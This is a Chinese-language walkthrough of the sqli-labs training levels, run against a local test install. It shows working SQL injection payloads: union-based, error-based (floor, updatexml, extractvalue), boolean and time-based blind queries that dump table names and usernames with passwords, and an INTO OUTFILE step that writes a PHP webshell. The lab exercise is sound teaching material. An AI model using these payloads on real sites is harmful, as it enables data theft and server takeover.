测试语句id=1 and1=1 /1=2页面无区别 说明不是数字型注入
尝试字符型注入,因为我们猜测是基于select 查询方式的注入
由于数据库语句一般是下图格式
所以数据库查询语句就变成了:select’1 and 1=2’ LIMIT 0,1
使用字符型注入 id=1’ and 1=1/1=2测试 界面仍然没有变化
思考一下就知道了是因为$id后的语句没有被注释掉(注意这里要使用 --+ 使用#不行)
使用–+进行注入是因为+会被自动解析成 (空格)本来的注释是-- 空格有时会被省略
可以看到下图1的周围都是单引号,所以我们要将它闭合 id=1’ and ‘1’=‘1
这样sql语句就变成了 select ‘(从这开始就是我们写的语句了)1’ and ‘1’=‘1(后面的单引号是我们需要闭合的最后一个单引号)’
添加–+注释:
id=1’ and 1=1 --+ 与id=1’ and 1=2 --+ 回显不同 证明存在字符型注入
或使用: http://localhost/sqli-labs-master/Less-1/?id=1’ and ‘1’ =‘2
使用order by 查询到4时发生了报错,所以临界点为3
然后进行报错准备
使用1=2 或id=不存在的数都是可以的
使用union select 进行查询
http://localhost/sqli-labs-master/Less-1/?id=1’ and 1=2 union select 1,2,3 --+
接下来就是进行信息收集和相应的注入了
同样这一关也可以使用
1、使用报错型注入的条件
1):在数据查询时,网页没有查询输出的结果;但当输入错误时,网页上有输入错误的提示(其实就是在信息与数据库进行交互后,输入错误的信息时,网页会显示出来。)
2):其在网页上的具体情况,和解决的办法。
由于在输入正确时,其显示的结果不变。故只能尝试在输入错误时,其显示会进行提示这一点进行交互。
2、三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
报错注入可以参考:this
3、报错型注入的操作步骤
其与联合查询法的操作步骤基本上是一样的,但在语句上会有明显的差距。
步骤:进行闭合方式的猜测、用二分法进行列数的查找、观察显示位、查询数据库的名称、查询表的名称、查找列的名称、查找数据
步骤一:猜测闭合方式
步骤二:列数猜解
记得注解后面的语句
步骤三:观察回显位置
爆表Payload(数据库5.0以上): ?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
步骤四:继续信息收集
爆列名(字段)payload
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’))) --+
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’)))) --+
爆值 payload
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))–+
1.判断提交方法为get(抓包看/hackbar未使用post传参/经验推断为get)
当请求无副作用时(如进行搜索),便可使用GET方法;当请求有副作用时(如添加数据行),则用POST方法
Get/post传参使用情景
2.判断注入点为id
And1=1时界面回显正常 and1=2时回显不正常,证明存在数字型注入
3.判断字段数为4,结果与上关相同
4.报错猜解准备/判断回显位置
使用id=-1使页面报错使因为id=-1是错误的原来正确回显的信息就不会在页面显示,而是会显示后面union select查询的语句,这种方式常用作当使用正确语句联合查询时,页面不能完全显示出我们想查询的union selct后的语句,为提高效率我们会使用报错注入
可以看出1这个位置使写死的,所以回显位置就是再2,3的位置
5.进行信息收集:
信息收集主要但不限于收集这些:
version()版本;database()数据库;user()用户;
数据库权限: and ord(mid(user(),1,1))=114 返回正常说明为root
数据库名 列名 表名等
6.根据收集到的信息进行相应方法的注入。
因为上图已查询出数据库版本为mysql且为5.0以上,那么可以使用一下mysql自带的information_schema数据库,顺提一嘴,采用撞函数的方法,可以用来判断数据库类型。
如果页面出现提示 Subquery returns more than 1 row 那么证明输出的信息超过一行,虽然我们使用了group_concat函数进行限制,但是group_concat函数能链接的字符串长度本身就是有限制的,一般是1024字节,所以我们可以换成limit 0,1来显示, 0表示输出的起始位置,1表示跨度为1,即输出几个数据。
使用:
Id=1’ and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
这个1是什么呢,通过查资料得出是floor报错语句的一个特性,无法删除,只能通过辨认隔开。
payload:
http://localhost/sqli-labs-master/Less-5/?id=1’ and (select 1 from (select count(*),concat(((select concat(schema_name,’;’) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
和第五关的思路试一样的,单引号变成了双引号(主要看报错信息判断)
payload:
htt p://localhost/sqli-labs-master/Less-6/?id=1" and (select 1 from (select count(*),concat(((select concat(schema_name,’;’) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from
file权限:
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile函数:
outfile的固定结构是:select A into outfile B,意思就是将A写入B中,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,也可以是一句话木马内容。
outfile函数可以导出多行,outfile函数在将数据写到文件里时有特殊的格式转换
参考:link
步骤:
1.先构造正确语句使界面回显正常
payload: h ttp://localhost/sqli-labs-master/Less-7/?id=1’ )) and 1=1 --+
2. 由于本关卡提示我们使用file权限向服务器写入文件,在我本机取一个目录
然后写入一句话木马
h ttp://localhost/sqli-labs-master/Less-7/?id=1’ )) union select 1,2,"" into outfile “D:\PHPSTUDY\PHPTutorial\WWW\sqli-labs-master\Less-7\makabaka.php” --+
因为这里被电脑自动拦截了,所以在目录中没有显示出文件,但是有拦截提醒出现,
解除拦截后,使用蚁剑链接webshell就好。
也可以通过outfile的方式爆出数据库:
h ttp://127.0.0.1/sqli-labs-master/Less-7/?id=1’)) union select version(),database(),user() into outfile “D:/phpstudy/WWW/sqli-labs-master/Less-7/2.txt” %23
然后查看相应文件就可以看界内容了
二、关于into outfile无法上传成功的问题
我当初刚做这道题时,发现怎么上传都没法成功。我下面来做一下解决方法的总结
1.我用的是phpstudy,修改配置文件中的mysql.ini中的mysqld下面加上secure_file_priv=
就行了。
2.我们平常复制下来的路径,例如D:\phpstudy\WWW\sqli-labs-master\Less-7。
修改\为/即可。
加单引号后界面返回错误初步确定单引号存在注入
在and后添加1=1 /1=2 分别返回正确和错误界面,证明存在布尔型注入
爆库payload: ?id=1’ and left((select database()),1)=‘s’–+
因为我们通过前几关的注入知道有一个库名是security,所以我们通过left函数来判断
h ttp://127.0.0.1/sqli-labs-master/Less-8/?id=1’ and left((select database()),1)=‘s’–+
这句话的意思就是选择了数据库名的第一个字符于我们输入的’s’进行比较
如果数据库名的第一个字符是s的话,就返回正确页面
注意,这里的1,2是指到第一个,第二个字符
不管输入啥,都是You are in…….
试试时间型盲注,?id=1’ and sleep(3) --+ 刷新页面有明显延迟
证明存在时间型注入
爆库payload
?id=1’ and if(length(database())=8 , sleep(3), 1) --+
当注入这句话时页面出现明显延时,证明数据库长度为8
?id=1’ and if(left(database(),8)=‘security’ , sleep(3), 1) --+
当注入这句话时页面出现明显延时,证明数据库名为security
爆表payload:
?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=‘r’ , sleep(3), 1) --+
使用limit x,1 查询第x个表名,和爆破库名一样,第一个表名为referer。终于,在第三个表爆到users这个表,显然是用户信息表。
爆字段payload:
定向爆破password和username,这里就不解释了,第五题里面写的比较详细了。
?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘password’, sleep(3), 1) --+
?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 9,1),8)=‘username’, sleep(3), 1) --+
爆值payload:
?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ , sleep(3), 1) --+
?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ , sleep(3), 1) --+
爆破到第一个人的username:dumb,password:dumb。修改limit x,1 继续爆破其他用户,手工注入比较慢,建议使用sqlmap。